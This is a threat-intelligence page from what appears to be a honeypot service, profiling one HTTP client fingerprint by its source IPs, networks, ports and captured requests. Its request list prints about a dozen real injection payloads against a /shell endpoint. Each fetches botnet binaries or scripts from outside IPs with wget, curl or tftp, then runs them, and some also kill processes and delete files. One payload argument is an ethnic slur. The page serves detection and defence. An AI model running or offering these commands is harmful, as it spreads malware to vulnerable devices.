HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

b11cun070_0014001f_85240426

Seen 2026-05-14 to 2026-09-29 across the retained window.

Open in lookup → Addresses as a feed

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS219502 sends an email when it next hits a sensor.

12

Source IPs

10

Networks

5

Countries

4

Ports hit

53

Events

1

IPs / network

This fingerprint is spread thinly across many networks, which is the shape of a common, widely-used client.

Top networks

AS219502 Storm Industries LLC3 IPs5
AS198364 Banatsync Srl2 IPs8
AS197170 TechTies Inc.1 IPs28
AS49581 Tube-Hosting1 IPs5
AS202412 Omegatech LTD1 IPs2
Unattributed1 IPs1
AS215365 Tom Gewiese1 IPs1
AS402253 SKN Subnet & Telecom Ltd1 IPs1
AS151852 FUTE JOINT STOCK COMPANY1 IPs1
AS135918 VIET DIGITAL TECHNOLOGY LIABILITY COMPANY1 IPs1

Countries

NL 4DE 3US 2VN 2CH 1

Ports targeted

6001/tcp 445500/tcp 560001/tcp 35501/tcp 1

What it requests

GET/shell?cd+/tmp;wget+http:/\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh28
GET/shell?killall+-9+bot.arm7;killall+-9+bot.arm;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+bot.arm+bot.arm7;wget+http:/\/46.151.182.200/bot.arm7;chmod+777+bot.arm7;./bot.arm7+jaws;wget+http:/\/46.151.182.200/bot.arm;chmod+777+bot.arm;./bot.arm+jaws7
GET/shell?cd+/tmp;rm+arm+arm7;wget+http:/\/94.249.188.204/bins/arm7;chmod+777+arm7;./arm7;wget+http:/\/94.249.188.204/bins/arm;chmod+777+arm;./arm;rm+-rf+*5
GET/shell?cd+/tmp;rm+arm+arm7;wget+http:/\/94.154.43.60/arm7;chmod+777+arm7;./arm7+jews;wget+http:/\/94.154.43.60/arm4;chmod+777+arm4;./arm4+jews;rm+-rf+*3
GET/shell?cd+/tmp;wget+-q+http:/\/89.106.83.171/bins/bins.sh+-O-|sh2
GET/shell?cd+/tmp;rm+arm+arm7;wget+http:/\/5.175.222.237/arm7;chmod+777+arm7;./arm7+jews;wget+http:/\/5.175.222.237/arm;chmod+777+arm;./arm+jews;rm+-rf+*1
GET/shell?cd+/tmp;rm+arm+arm7;wget+http:/\/163.61.183.48/AGbot.armv7l;chmod+777+arm7;./arm7+jews;wget+http:/\/163.61.183.48/AGbot.armv7l;chmod+777+arm;./arm+jews;rm+-rf+*1
GET/shell?cd+/tmp||cd+/var/run||cd+/mnt||cd+/root||cd+/;wget+-q+http://103.28.35.195/cat.sh+-O+cat.sh+2>/dev/null||curl+-s+http://103.28.35.195/cat.sh+-o+cat.sh+2>/dev/null||busybox+wget+-q+http://103.28.35.195/cat.sh+-O+cat.sh+2>/dev/null||busybox+tftp+103.28.35.195+-c+get+cat.sh+2>/dev/null||busybox+tftp+-r+cat.sh+-g+103.28.35.195+2>/dev/null||busybox+ftpget+-v+-u+anonymous+-p+anonymous+-P+21+103.28.35.195+cat.sh+cat.sh+2>/dev/null||tftp+103.28.35.195+-c+get+cat.sh+2>/dev/null||tftp+-r+cat.sh+-g+103.28.35.195+2>/dev/null||ftpget+-v+-u+anonymous+-p+anonymous+-P+21+103.28.35.195+cat.sh+cat.sh+2>/dev/null;chmod+777+cat.sh;sh+cat.sh;rm+-rf+cat.sh1
GET/shell?cd+%2Ftmp%3Brm+-f+arm+arm7%3Bwget+http%3A%2F%2F94.249.188.204%2Fbins%2Farm7%3Bchmod+777+arm7%3B.%2Farm7%3Bwget+http%3A%2F%2F94.249.188.204%2Fbins%2Farm%3Bchmod+777+arm%3B.%2Farm%3Brm+-rf+%2A1
GET/shell?cd+/tmp;rm+arm+arm7;wget+http:/\/94.154.43.60/linux_arm7;chmod+777+linux_arm7;./linux_arm7+jews;wget+http:/\/94.154.43.60/linux_arm4;chmod+777+linux_arm4;./linux_arm4+jews;rm+-rf+*1
GET/shell?cd+/tmp;rm+akbarniga.mips+akbarniga.mipsrouter;wget+http:/\/play.nopixel-rp.ir/akbarniga.mipsrouter;chmod+777+akbarniga.mipsrouter;./akbarniga.mipsrouter+jews;wget+http:/\/play.nopixel-rp.ir/akbarniga.mips;chmod+777+akbarniga.mips;./akbarniga.mips+jews;rm+-rf+*1
GET/shell?cd+/tmp;rm+mpsl+mips+arm7;wget+-q+http:\/\/94.154.43.192\/bins\/mpsl+||busybox+wget+-q+http:\/\/94.154.43.192\/bins\/mpsl;chmod+777+mpsl;./mpsl+redkill;wget+-q+http:\/\/94.154.43.192\/bins\/mips+||busybox+wget+-q+http:\/\/94.154.43.192\/bins\/mips;chmod+777+mips;./mips+redkill;wget+-q+http:\/\/94.154.43.192\/bins\/arm7+||busybox+wget+-q+http:\/\/94.154.43.192\/bins\/arm7;chmod+777+arm7;./arm7+redkill1

User agents claimed

KrebsOnSecurity12 IPs53
Source IPCCNetwork Last seenEvents
91.92.47.116NLAS197170 TechTies Inc.2026-09-1328
77.239.124.122USAS198364 Banatsync Srl2026-09-017
37.221.92.100DEAS49581 Tube-Hosting2026-09-135
94.154.43.95NLAS0 2026-09-174
178.16.54.64NLAS202412 Omegatech LTD2026-09-192
209.99.186.128CHAS402253 SKN Subnet & Telecom Ltd2026-09-161
94.249.188.204DEAS215365 Tom Gewiese2026-09-121
103.161.180.70VNAS135918 VIET DIGITAL TECHNOLOGY LIABILITY COMPANY2026-09-011
103.249.117.202VNAS151852 FUTE JOINT STOCK COMPANY2026-09-011
77.239.124.128USAS198364 Banatsync Srl2026-09-181
176.65.139.206DEAS219502 Storm Industries LLC2026-09-291
94.154.43.192NLAS219502 Storm Industries LLC2026-09-071

Fingerprint family: 2 shapes, 12 IPs, 67 events in 30 days

Every shape here is within one request header of the family's largest shape and comes from the same source addresses. One tool, several request shapes; a hashed fingerprint shows these as unrelated.

HTTP/1.1, 7 headers, no body: connection, accept-encoding, accept, accept-language, user-agent, host, cache-control

asks for/shell?cd+/tmp;wget+http:/\/94.154.43.60:8081/bash.sh+-O+bas · /shell?killall+-9+bot.arm7;killall+-9+bot.arm;killall+-9+arm · /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/176.65.139.206/hidde · /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/94.249.188.204/bins/ (GET)
asKrebsOnSecurity and 1 more
ports6001 · 60001 · 5500 · 5501
fromNL · DE · US · VN · TechTies Inc. · Banatsync Srl · Tube-Hosting
b11cun070_0014001f_85240426 this oneKrebsOnSecurity · /shell?cd+/tmp;wget+http:/\/94.154.43.60:8081/bash.sh+-O+bas12 IPs53b11cun060_0010001f_9c45cb0a+/- host · KrebsOnSecurity · /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/176.65.139.206/hidde2 IPs14
All families

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

b11cun070_0014001f_ee0f0ad4same header set14 IPs177b11cun070_0014001f_c92214f9same header set5 IPs155b11cun070_0014001f_431a2e96same header set34 IPs66b11cun070_0014001f_0e0f40c9same header set32 IPs38b11cun070_0014001f_e9d96a03same header set1 IPs5b11cun070_0014001f_52bdf4casame header set3 IPs3b11cun070_0014001f_19cf7b58same header set1 IPs2b11cun070_0014001f_edbbd7basame header set1 IPs1

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.